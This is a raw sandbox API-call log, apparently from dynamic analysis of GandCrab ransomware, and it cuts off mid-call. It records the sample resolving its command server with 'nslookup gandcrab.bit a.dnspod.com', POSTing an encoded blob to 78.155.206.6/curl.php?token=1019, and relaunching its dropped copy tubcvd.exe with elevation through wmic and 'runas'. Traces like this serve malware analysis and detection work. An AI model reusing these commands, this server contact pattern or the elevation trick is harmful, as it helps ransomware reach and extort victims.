(lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.865] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.865] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.865] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.865] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.866] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.866] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.866] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.866] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.866] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.866] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.866] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.866] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.866] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0143.866] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x26f0000 [0143.866] lstrlenW (lpString="") returned 0 [0143.866] VirtualAlloc (lpAddress=0x0, dwSize=0x2, flAllocationType=0x3000, flProtect=0x4) returned 0x2700000 [0143.866] CreatePipe (in: hReadPipe=0x412b0c, hWritePipe=0x412b08, lpPipeAttributes=0x19f494, nSize=0x0 | out: hReadPipe=0x412b0c*=0x500, hWritePipe=0x412b08*=0x504) returned 1 [0143.866] SetHandleInformation (hObject=0x500, dwMask=0x1, dwFlags=0x0) returned 1 [0143.866] CreatePipe (in: hReadPipe=0x412b04, hWritePipe=0x412b10, lpPipeAttributes=0x19f494, nSize=0x0 | out: hReadPipe=0x412b04*=0x4c0, hWritePipe=0x412b10*=0x4d8) returned 1 [0143.866] SetHandleInformation (hObject=0x4d8, dwMask=0x1, dwFlags=0x0) returned 1 [0143.866] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="nslookup gandcrab.bit a.dnspod.com", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f3e4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4c0, hStdOutput=0x504, hStdError=0x504), lpProcessInformation=0x19f428 | out: lpCommandLine="nslookup gandcrab.bit a.dnspod.com", lpProcessInformation=0x19f428*(hProcess=0x4e4, hThread=0x4e0, dwProcessId=0x788, dwThreadId=0x53c)) returned 1 [0143.872] CloseHandle (hObject=0x4e4) returned 1 [0143.872] CloseHandle (hObject=0x4e0) returned 1 [0143.872] ReadFile (in: hFile=0x500, lpBuffer=0x19e47c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f47c, lpOverlapped=0x0 | out: lpBuffer=0x19e47c*, lpNumberOfBytesRead=0x19f47c*=0x93, lpOverlapped=0x0) returned 1 [0146.638] lstrlenA (lpString="Address:") returned 8 [0146.638] lstrcpyA (in: lpString1=0x2700000, lpString2="78.155.206.6" | out: lpString1="78.155.206.6") returned="78.155.206.6" [0146.638] lstrcmpiA (lpString1="78.155.206.6", lpString2="127.0.0.1") returned 1 [0146.638] wsprintfW (in: param_1=0x26f0000, param_2="%S" | out: param_1="78.155.206.6") returned 12 [0146.638] VirtualFree (lpAddress=0x2700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.639] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0146.639] VirtualAlloc (lpAddress=0x0, dwSize=0x611, flAllocationType=0x3000, flProtect=0x40) returned 0x2700000 [0146.639] VirtualAlloc (lpAddress=0x0, dwSize=0x2801, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0146.639] lstrcatA (in: lpString1="", lpString2="data=" | out: lpString1="data=") returned="data=" [0146.639] lstrcatA (in: lpString1="data=", lpString2="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs" | out: lpString1="data=mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned="data=mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs" [0146.639] lstrlenA (lpString="data=mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 269 [0146.639] lstrcpyW (in: lpString1=0x19f4b8, lpString2="curl.php?token=" | out: lpString1="curl.php?token=") returned="curl.php?token=" [0146.639] VirtualAlloc (lpAddress=0x0, dwSize=0x404, flAllocationType=0x3000, flProtect=0x40) returned 0x2760000 [0146.639] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2760000, nSize=0x200 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe")) returned 0x3a [0146.639] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0146.640] CreateFileMappingW (hFile=0x4e0, lpFileMappingAttributes=0x0, flProtect=0x8, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x4e4 [0146.640] MapViewOfFile (hFileMappingObject=0x4e4, dwDesiredAccess=0x1, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2770000 [0146.640] lstrlenW (lpString="curl.php?token=") returned 15 [0146.640] lstrlenA (lpString="1019") returned 4 [0146.640] lstrlenA (lpString="1019") returned 4 [0146.640] lstrlenA (lpString="1019") returned 4 [0146.640] lstrlenA (lpString="1019") returned 4 [0146.640] lstrlenA (lpString="1019") returned 4 [0146.640] lstrlenA (lpString="1019") returned 4 [0146.640] lstrlenA (lpString="1019") returned 4 [0146.640] lstrlenA (lpString="1019") returned 4 [0146.640] lstrlenA (lpString="1019") returned 4 [0146.640] UnmapViewOfFile (lpBaseAddress=0x2770000) returned 1 [0146.641] CloseHandle (hObject=0x4e4) returned 1 [0146.641] CloseHandle (hObject=0x4e0) returned 1 [0146.641] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.641] lstrlenW (lpString="Content-Type: application/x-www-form-urlencoded") returned 47 [0146.641] lstrlenA (lpString="data=mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 269 [0146.641] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0146.641] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0146.641] InternetConnectW (hInternet=0xcc0004, lpszServerName="78.155.206.6", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0146.641] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x40) returned 0x2760000 [0146.642] wsprintfW (in: param_1=0x2760000, param_2="%s" | out: param_1="curl.php?token=1019") returned 19 [0146.642] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="curl.php?token=1019", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x8404f700, dwContext=0x0) returned 0xcc000c [0146.642] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0x2700000*, dwOptionalLength=0x10d | out: lpOptional=0x2700000*) returned 1 [0152.387] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2730000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19f47c | out: lpBuffer=0x2730000*, lpdwNumberOfBytesRead=0x19f47c*=0x9) returned 1 [0152.387] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2730000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19f47c | out: lpBuffer=0x2730000*, lpdwNumberOfBytesRead=0x19f47c*=0x0) returned 1 [0152.388] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0152.389] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0152.389] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0152.389] VirtualFree (lpAddress=0x26f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0152.389] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0152.390] VirtualFree (lpAddress=0x2700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0152.390] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0152.390] VirtualFree (lpAddress=0x26e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0152.390] VirtualFree (lpAddress=0x26d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0152.390] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0152.390] VirtualFree (lpAddress=0x840000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0152.390] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19fdf8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19fe00 | out: pSid=0x19fe00*=0x2d5f70*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0152.390] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x74c90000 [0152.390] GetProcAddress (hModule=0x74c90000, lpProcName="CheckTokenMembership") returned 0x74caf8d0 [0152.390] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x2d5f70*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x19fe04 | out: IsMember=0x19fe04) returned 1 [0152.391] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x3000, flProtect=0x4) returned 0x840000 [0152.391] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x840000, nSize=0x100 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe")) returned 0x3a [0152.391] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0152.391] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0152.391] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0152.391] VerifyVersionInfoW (in: lpVersionInformation=0x19f630, dwTypeMask=0x23, dwlConditionMask=0x1801b | out: lpVersionInformation=0x19f630) returned 1 [0152.391] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19f740, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19f748 | out: pSid=0x19f748*=0x2d5f70*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0152.391] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x74c90000 [0152.391] GetProcAddress (hModule=0x74c90000, lpProcName="CheckTokenMembership") returned 0x74caf8d0 [0152.391] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x2d5f70*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x19f74c | out: IsMember=0x19f74c) returned 1 [0152.391] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\system32\\wbem\\wmic", lpDst=0x19f808, nSize=0xff | out: lpDst="C:\\Windows\\system32\\wbem\\wmic") returned 0x1e [0152.391] wsprintfW (in: param_1=0x19fa08, param_2="process call create \"cmd /c start %s\"" | out: param_1="process call create \"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 93 [0152.391] VirtualAlloc (lpAddress=0x0, dwSize=0x3d, flAllocationType=0x3000, flProtect=0x40) returned 0x26d0000 [0152.391] GetForegroundWindow () returned 0x30048 [0152.392] ShellExecuteExW (in: pExecInfo=0x26d0000*(cbSize=0x3c, fMask=0x40, hwnd=0x30048, lpVerb="runas", lpFile="C:\\Windows\\system32\\wbem\\wmic", lpParameters="process call create \"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x26d0000*(cbSize=0x3c, fMask=0x40, hwnd=0x30048, lpVerb="runas", lpFile="C:\\Windows\\system32\\wbem\\wmic", lpParameters="process call create \"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x5d8)) returned 1 [0153.838] WaitForSingleObject (hHandle=0x5d8, dwMilliseconds=0xffffffff) returned 0x0 [0155.520] CloseHandle (hObject=0x5d8) returned 1 [0155.520] ExitProcess (uExitCode=0x0) [0155.524] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 47 os_tid = 0x9fc Thread: id = 48 os_tid = 0x7ac [0121.631] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0121.631] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0121.631] LoadIconW (hInstance=0x400000, lpIconName=0x7f00) returned 0x0 [0121.631] RegisterClassExW (param_1=0x1f1ff34) returned 0xc141 [0121.632] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0121.632] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0121.632] CreateWindowExW (dwExStyle=0x0, lpClassName="win32app", lpWindowName="firefox", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=5, nHeight=5, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x201f0 [0121.635] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x24, wParam=0x0, lParam=0x1f1fab4) returned 0x0 [0121.636] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x81, wParam=0x0, lParam=0x1f1faa8) returned 0x1 [0121.638] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x83, wParam=0x0, lParam=0x1f1fa94) returned 0x0 [0121.656] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x1, wParam=0x0, lParam=0x1f1faa8) returned 0x0 [0121.657] SetWindowLongW (hWnd=0x201f0, nIndex=-16, dwNewLong=0) returned 80674816 [0121.657] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x7c, wParam=0xfffffff0, lParam=0x1f1fecc) returned 0x0 [0121.657] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x7d, wParam=0xfffffff0, lParam=0x1f1fecc) returned 0x0 [0121.668] ShowWindow (hWnd=0x201f0, nCmdShow=5) returned 0 [0121.668] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0121.668] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x46, wParam=0x0, lParam=0x1f1fef4) returned 0x0 [0121.680] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x46, wParam=0x0, lParam=0x1f1fef4) returned 0x0 [0121.680] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x1c, wParam=0x1, lParam=0x7f4) returned 0x0 [0121.680] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0121.680] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0xd, wParam=0xff, lParam=0x1f1eb24) returned 0x7 [0121.682] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0121.689] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0121.695] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0121.695] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0121.696] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0121.696] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x14, wParam=0x67010541, lParam=0x0) returned 0x1 [0121.696] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x47, wParam=0x0, lParam=0x1f1fef4) returned 0x0 [0121.696] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x5, wParam=0x0, lParam=0x78) returned 0x0 [0121.696] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x3, wParam=0x0, lParam=0xbb00a4) returned 0x0 [0121.696] UpdateWindow (hWnd=0x201f0) returned 1 [0121.696] BeginPaint (in: hWnd=0x201f0, lpPaint=0x1f1fd08 | out: lpPaint=0x1f1fd08) returned 0x67010541 [0121.696] lstrlenW (lpString="GandCrab!") returned 9 [0121.696] TextOutW (hdc=0x67010541, x=5, y=5, lpString="GandCrab!", c=9) returned 1 [0121.696] EndPaint (hWnd=0x201f0, lpPaint=0x1f1fd08) returned 1 [0121.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402d41, lpParameter=0x201f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4 [0121.696] CloseHandle (hObject=0x1b4) returned 1 [0121.697] GetMessageW (in: lpMsg=0x1f1ff64, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1f1ff64) returned 1 [0121.697] TranslateMessage (lpMsg=0x1f1ff64) returned 0 [0121.697] DispatchMessageW (lpMsg=0x1f1ff64) returned 0x0 [0121.697] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0121.697] GetMessageW (in: lpMsg=0x1f1ff64, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1f1ff64) returned 1 [0121.697] TranslateMessage (lpMsg=0x1f1ff64) returned 0 [0121.697] DispatchMessageW (lpMsg=0x1f1ff64) returned 0x0 [0121.697] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x46, wParam=0x0, lParam=0x1f1fd34) returned 0x0 [0121.697] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x83, wParam=0x1, lParam=0x1f1fd0c) returned 0x0 [0121.697] NtdllDefWindowProc_W (hWnd=0x201f0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0121.697] NtdllDefWindowProc_W (hWnd=0x201f0, 